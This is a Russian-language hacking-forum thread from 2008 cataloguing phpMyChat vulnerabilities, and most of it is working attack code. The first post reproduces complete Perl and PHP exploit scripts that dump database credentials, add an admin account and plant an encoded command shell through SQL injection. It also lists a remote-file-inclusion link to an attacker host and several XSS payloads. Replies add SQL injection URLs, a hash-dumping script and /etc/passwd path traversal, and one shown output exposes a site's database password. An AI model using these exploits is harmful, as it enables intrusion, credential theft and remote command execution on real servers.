Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[Обзор] Уязвимости phpMyChat |

13.01.2008, 03:30
|
|
Moderator - Level 7
Регистрация: 28.04.2007
Сообщений: 547
Провел на форуме: 5516499
Репутация:
3702
|
|
[Обзор] Уязвимости phpMyChat
[Обзор] Уязвимости phpMyChat
Доброй ночи  Мой новый обзор посвящён описанию уязвимостей чатов phpMyChat.
Офф. сайт: http://www.phpheaven.net/phpmychat:home
Сорцы: Скачать
phpMyChat 0.14.5 Remote Improper File Permissions Exploit
PHP код:
####################################################################
#
# _____ _
# | ___| | _____ ___
# | |_ | |/ _ \ \ /\ / /
# | _| | | (_) \ V V /
# |_| |_|\___/ \_/\_/
# Security Group.
#
# * phpMyChat remote sploit *
# by sysbug
#
# C:\Perl\bin>perl pmc.pl www.kublooddrive.com /chat
# /* Mysql dump :
# * C_DB_HOST : localhost
# * C_DB_NAME : jhawk_pchat1
# * C_DB_USER : jhawk_pchat1
# * C_DB_PASS : vvejTjeLgB
# *
# * Adding Admin ....
# * login:jhawk
# * pwd:owned
# */
# C:\Perl\bin>
#
# Credits: all my friends!
use IO::Socket;
if(@ARGV < 2){
usage();
}
main();
sub sock(){
$ock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>80,Proto=>'tcp',Timeout=>10)|| die " * s0ck null -\n";
print $ock "$path\r\n";
print $ock "Accept: */*\r\n";
print $ock "Accept-Language: pt\r\n";
print $ock "Accept-Encoding: gzip, deflate\r\n";
print $ock "User-Agent: l33t br0ws3r\r\n";
print $ock "Host: $host\r\n";
print $ock "Connection: Keep-Alive\r\n\r\n\r\n";
$path = '';
}
sub main(){
print "/*\n";
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " *\n";
$host = $ARGV[0];
$folder = $ARGV[1];
$path = "GET $folder/chat/setup.php3?next=1 HTTP/1.1";
sock();
$result =1;
while($recv = <$ock>){
if($recv =~ /(C_DB_PASS|C_DB_USER|C_DB_NAME|C_DB_HOST)(.*)(VALUE=)(")(.*)(">)/){
$c++;
print " * Mysql dump :\n" if($result);
print " * $1 : $5\n";
$mysql[$c] = $5;
$result = '';
}
else{
print " * sploit failed! \n";
print " *\\ \n";
exit;
}
}
close($ock);
$path = "GET $folder/chat/setup.php3?next=2&Form_Send=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1 HTTP/1.1";
sock();
while($recv = <$ock>){
if($recv =~ /(ADM_LOG)(.*)(VALUE=)(")(.*)(">)/){
$c++;
$mysql[$c] = $5;
}
}
close($ock);
$pwd="owned";
$path = "GET $folder/chat/setup.php3?next=2&C_DB_TYPE=mysql&C_DB_HOST=$mysql[1]&C_DB_NAME=$mysql[2]&C_DB_USER=$mysql[3]&C_DB_PASS=$mysql[4]&C_MSG_TBL=messages&C_REG_TBL=reg_users&C_USR_TBL=users&C_BAN_TBL=ban_users&C_MSG_DEL=96&C_USR_DEL=4&C_REG_DEL=0&C_PUB_CHAT_ROOMS=Blood+Talk&C_PRIV_CHAT_ROOMS=&C_MULTI_LANG=1&C_LANGUAGE=english&C_REQUIRE_REGISTER=1&C_SHOW_ADMIN=1&C_SHOW_DEL_PROF=1&C_VERSION=1&C_BANISH=1&C_NO_SWEAR=1&C_SAVE=*&C_USE_SMILIES=1&C_HTML_TAGS_KEEP=simple&C_HTML_TAGS_SHOW=1&C_TMZ_OFFSET=0&C_MSG_ORDER=0&C_MSG_NB=20&C_MSG_REFRESH=10&C_SHOW_TIMESTAMP=1&C_NOTIFY=1&C_WELCOME=1&ADM_LOG=$mysql[5]&ADM_PASS=$pwd&Form_Send=3&Exist_Adm=1 HTTP/1.1";
sock();
if($mysql[5]){
print " *\n * Adding Admin ....\n * login:$mysql[5]\n * pwd:$pwd \n *\\ \n";
}
else{
print " * sploit failed! \n";
print " *\\ \n";
}
close($ock);
}
sub usage(){
print "/*\n";
print " * sploit remote phpMychat\n";
print " * by sysbug\n";
print " * usage: perl $0 xpl.pl <host>\n";
print " * example: perl $0 xpl.pl www.site.com\n";
print " * perl $0 xpl.pl www.site.com /chat\n";
print " */\n";
exit;
}
# milw0rm.com [2004-12-22]
phpMyChat <= 0.14.5 (SYS enter) Remote Code Execution Exploit
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPMyChat <= 0.14.5 \"SYS enter\" remote cmmnds xctn 0day\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PHPMyChat\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php3\r\n";
echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
# explaination:
#
# sql injection in chat/messagesL.php3 near lines 56-60:
# ...
# If ($room != stripslashes($R)) // Same nick in another room
# {
# $DbLink->query("INSERT INTO ".C_MSG_TBL." VALUES ($T, '$R', 'SYS exit', '', ".time().", '', 'sprintf(L_EXIT_ROM, \"".special_char($U,$Latin1,1)."\")')");
# $kicked = 3;
# }
# ...
#
# have a look to "T" argument, it is not sanitized before to be used in our
# INSERT query, so we can inject all the values we want and store them
# in the c_messages table. Also it is not delimited by quotes & we do not need
# quotes to extend the query, so this works regardless of magic_quotes_gpc settings
#
# sprintf() should be passed to an eval() near line 197:
#
# ...
# // "System" messages
# else
# {
# if ($Dest == " *")
# {
# $Message = "[".L_ANNOUNCE."]<BDO dir=\"${textDirection}\"></BDO> ".$Message;
# }
# else
# {
# if ($Dest != "") $NewMsg .= "<B><BDO dir=\"${textDirection}\"></BDO>>[".htmlspecialchars(stripslashes($Dest))."]<BDO dir=\"${textDirection}\"></BDO></B> ";
# $Message = str_replace("$","\\$",$Message); // avoid '$' chars in nick to be parsed bellow
# eval("\$Message = $Message;");
# };
# $NewMsg .= "<SPAN CLASS=\"notify\">".$Message."</SPAN></P>";
# };
# ...
#
# but what happen if we inject a system() call instead and if we simulate
# to be the SYS user? :)
#
# this is 0day, enjoy it
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
#step 1 -> SQL Injection, works regardsless of any magic_quotes_gpc seetings, it is an INSERT INTO query
#let's store a shell in c_messages table
$L="L=english";
$U="";
$T ="0,"; //type
$T.="CHAR(68,101,102,97,117,108,116),"; //room (Default)
$T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter)
$T.="0,";//latin1
$T.="9999999999,";//m_time
$T.="1,";//address
//message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()
//u can use an unlimited number of chars for this
$T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*";
$T="T=".urlencode($T);
for ($i=0; $i<=1; $i++) //redo
{
srand(make_seed());
$anumber = rand(1,99999);
$R="R=Default".$anumber; //random, it must be different from the previous one
$packet ="GET ".$p."chat/messagesL.php3?$L&$U&$T&$R HTTP/1.0\r\n";
$packet.="X-Forwarded-For: suntzuuuuuuu\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
}
sleep(2);
#step 2 -> shell is passed to an eval(), so we launch commands
$packet ="GET ".$p."chat/messagesL.php3?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd." HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
//debug
//echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>
# milw0rm.com [2006-04-05]
phpMyChat 0.15.0dev (SYS enter) Remote Code Execution Exploit
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHPMyChat 0.15.0dev \"SYS enter\" remote cmmnds xctn 0day (again)\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "-> works with magic_quotes_gpc=Off\r\n\r\n";
echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PHPMyChat\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php\r\n";
echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
# explaination:
#
# only modified this one:
#
# http://retrogod.altervista.org/phpmychat_0145_xpl.html
#
# actually I tested this package:
#
# http://prdownloads.sourceforge.net/phpmychat/phpMyChat-0.15.0-dev20050206.tgz?download
#
# code is no properly patched 'cause, if magic_quotes_gpc = Off, you can inject
# an "always true" statement in PWD_Hash argument
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$action=$argv[3];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
#step 1 -> Register, we need an online user
srand(make_seed());
$anumber = rand(1,99999);
$data="FORM_SEND=1";
$data.="&L=italian";
$data.="&U=suntzu".$anumber;
$data.="&pmc_password=suntzoi".$anumber;
$data.="&FIRSTNAME=suntzu";
$data.="&LASTNAME=suntzoi";
$data.="&GENDER=1";
$data.="&COUNTRY=";
$data.="&WEBSITE=";
$data.="&EMAIL=suntzu@suntzuuu.com";
$data.="&SHOWEMAIL=0";
$data.="&submit_type=Registrati";
$packet ="POST ".$p."chat/register.php HTTP/1.0\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n"; //spoof , a nice ip value for c_regusers table
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: CookieLang=italian;\r\n\r\n";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
#step 2 -> Login
$packet ="GET ".$p."chat/loader.php?From=..%2FphpMyChat.php3&L=italian&Ver=H";
$packet.="&U=suntzu".$anumber."&R=Default&T=1&D=10&N=20&ST=1&NT=1&PWD_Hash=".md5("suntzoi".$anumber)."&First=1 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cookie: CookieLang=italian; CookieUsername=suntzu".$anumber."; CookieRoom=Default; CookieRoomType=1\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
#step 3 -> SQL Injection, let's store a shell in c_messages table
$L="L=english";
$U="U=SYS%20enter";
$T ="0,"; //type
$T.="CHAR(68,101,102,97,117,108,116),"; //room (Default)
$T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter)
$T.="0,";//latin1
$T.="9999999999,";//m_time
$T.="1,";//address
//message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()
//u can use an unlimited number of chars for this
$T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*";
$T="T=".urlencode($T);
$PWD="'or'a'='a' UNION SELECT c_users.room, c_users.status, c_users.ip FROM c_users, c_reg_users WHERE 'a'='a' LIMIT 1/*";
$PWD=urlencode($PWD);
for ($i=0; $i<=1; $i++) //redo
{
srand(make_seed());
$anumber = rand(1,99999);
$R="R=Default".$anumber; //random, it must be different from the previous one
$packet ="GET ".$p."chat/messagesL.php?$L&$U&$T&$R&PWD_Hash=$PWD HTTP/1.0\r\n";
$packet.="X-Forwarded-For: suntzuuuuuuu\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
}
sleep(1);
#step 4 -> shell is passed to an eval(), so we launch commands
$packet ="GET ".$p."chat/messagesL.php?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd."&PWD_Hash=$PWD HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
echo $html;
?>
# milw0rm.com [2006-04-06]
RFI and Multiple XSS in PhpMyChat
Remote File Inclusion:
Код:
POC = http://localhost/path_to_phpMychat/chat/users_popupL.php3?From=http://evilshell
Multiple XSS
Код:
a. Vulnerable URL:
http://localhost/phpmychat/chat/deluser.php3
Parameter = LIMIT
POC:
http://localhost/phpmychat/chat/config/start_page.css.php3?Charset=iso-8859-
1&medium=10&FontName= >"'><img%20src%3D%26%23x6a;%26%23x61;%
26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23
x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert
(%26quot;Successfull%26%23x20;XSS%26%23x20;Test%26%
23x20;Here%26quot;)>
b. Vulnerable URL:
http://www.localhost/mychat/chat/deluser.php3
Parameter = LIMIT
POC:
http://www.localhost/phpmychat/chat/deluser.php3?L=english&Link=&LIMIT=>
"'><img%20src%3D%26%23x6a;%26%23x61;%2
6%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x
72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(
%26quot;Successfull%26%23x20;XSS%26%23x20;Test%26%23x
20;Here%26quot;)>&AUTH_USERNAME=&AUTH_PASSWORD=
c. Vulnerable URL:
http://www.localhost/phpmychat/chat/edituser.php3
Parameter= Link , still lokking for pOC ;)
d. Vulnerable URL:
http://localhost/phpmychat/chat/users_popupL.php3
Parameter = LastCheck
POC:
http://localhost/mychat/chat/users_popupL.php3?From=..%2FphpMyChat.
php3&L=english&LastCheck= "></STYLE><STYLE>@import"javascript:
alert('This%20XSS%20Is%20Xss')";</STYLE>'
e. Vulnerable URL:
http://localhost/phpmychat/chat/users_popupL.php3
Parameter = B
POC:
http://localhost/phpmychat/chat/users_popupL.php3?From=..%2FphpMyChat.
php3&L=english&LastCheck=1196698786&B= >"><script>alert("This%20XSS%20Test%20Succe
ssful")</script>
f. Vulnerable URL:
http://localhost/phmychat/chat/users_popupL.php3
Parameter =From
POC:
http://localhost/phpmychat/chat/users_popupL.
php3?From=>"><script>alert("This%20XSS%20Test%
20Successful")</script>
g. Vulnerable URL:
http://localhost/phpmychat/chat/config/start_page.css.php3
Parameter = FontName
Parameter = medium
h. Vulnerable URL:
http://localhost/phpmychat/chat/config/style.css.php3
Parameter = FontName
Parameter = medium
POC:
http://localhost/phpmychat//mychat/chat/config/style.css.php3?Charset=iso-8859-
1&medium=10&FontName=>"'><img%20src%3D%26%
23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%
26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23
x74;%26%23x3a;alert(%26quot;This%26%23x20;XSS%26%
23x20;Test%26%23x20;Successful%26quot;)>
Try the second one urself or mail me to have the POC :P
(c)
Последний раз редактировалось Solide Snake; 20.02.2008 в 14:48..
|
|
|

21.01.2008, 11:39
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
phpMyChat 0.14.6
Уязвимости чата версии 0.14.6
SQL-injection в модулях usersH.php и usersL.php
POC:
Код:
http://127.0.0.1/phpmychat/usersH.php?L=english&R='%20union%20select%20concat(username,0x3a,password),2,3,4%20from%20c_reg_users/*
SQL-injection в модуле whois_popup.php
Код:
#!/usr/bin/perl
$argc = $#ARGV + 1;
unless ($argc == 2)
{
print "usage: $0 host path_to_chat\n";
print "Ex. $0 127.0.0.1 phpmychat\n";
exit -1;
}
#http://127.0.0.1/phpmychat/whois_popup.php?L=russian&U='%20union%20select%201,username,password,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%201/*
use LWP::UserAgent;
use HTTP::Request;
$host = $ARGV[0];
$dir = $ARGV[1];
$file = "whois_popup.php";
$param = "?L=english&U='%20union%20select%201,concat(0x242424,username,0x3a,password,0x242424),3,4,5,6,7,8,9,10,11%20from%20c_reg_users%20limit%200,1/*";
$ua = LWP::UserAgent->new;
#$ua->proxy ("http", "http://$proxy_host:$proxy_port/");
$url = "http://$host/$dir/$file$param";
$req = HTTP::Request->new (GET => $url);
$req->content_type ("text/html");
$res = $ua->request ($req);
die ("ERROR: " . $res->status_line) unless ($res->is_success);
$content = $res->content;
if ($content =~ /\x24\x24\x24([^:]+:.{32})\x24\x24\x24/)
{
print "$1\n";
}
exit 0;
зы. Solide Snake, plz, поправь ссылку на их сайт
http://www.phpheaven.net/phpmychat:home
Последний раз редактировалось krypt3r; 21.01.2008 в 13:44..
|
|
|

17.04.2008, 20:08
|
|
Banned
Регистрация: 30.03.2007
Сообщений: 344
Провел на форуме: 5149122
Репутация:
2438
|
|
1. Обход аутентификации. Удаленный атакующий может послать специально сформированный POST запрос к файлу edituser.php3, в котором значение “do_not_login” равно “false”.
2. Обход каталога в admin.php3. Удаленный атакующий может воспользоваться этой уязвимостью и получить доступ к важной информации на системе.
3. Межсайтовое выполнение сценариев. Данные, передаваемые параметру “C” в сценарии input.php3 не проверяются, что позволяет атакующему выполнить произвольный сценарий в браузере жертвы.
4. SQL-инъекция. Различные параметры в сценарии usersL.php3 не проверяются. Удаленный атакующий может управлять SQL запросами.
Пример/Эксплоит:
Код:
http://[TARGET]/chat/admin.php3?From=admin.php3&What= Body&L=russian&user=[USE R]&pswd=[YOU HASH PASSWORD]&sheet=[FILE]%00
Код:
http://[TARGET]/chat/admin.php3?From=admin.php3&What =Body&L=russian&user=admin&pswd=[YOU HASH PASSWORD]&sheet=/../../../../../../etc/
Код:
http://[TARGET]/chat/admin.php3?From=admin.php3&What =[FILE]%00&L=russian&user=[USER]&pswd=[YOU HASH PASSWORD]&sheet=1
Код:
http://[TARGET]/chat/admin.php3?From=admin.php3&What=/../../../../../../etc/ passwd%00&L=russian&user=admin&pswd=[YOU HASH PASSWORD]&s
Код:
http://[TARGET]/chat/usersL.php3?L=russian&R ='%20UNION%20SELECT%20username,null,null,null%20FROM%20%20c_reg_users%20/*
Код:
http://[TARGET]/chat/usersL.php3?L=russian&R ='%20UNION%20SELECT%20password,null,null,null%20FROM%20%20c_reg_users%20/*
Код:
http://[TARGET]/chat/usersL.php3?L=russian&R ='%20UNION%20SELECT%20email,null,null,null %20FROM%20%20c_reg_users
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|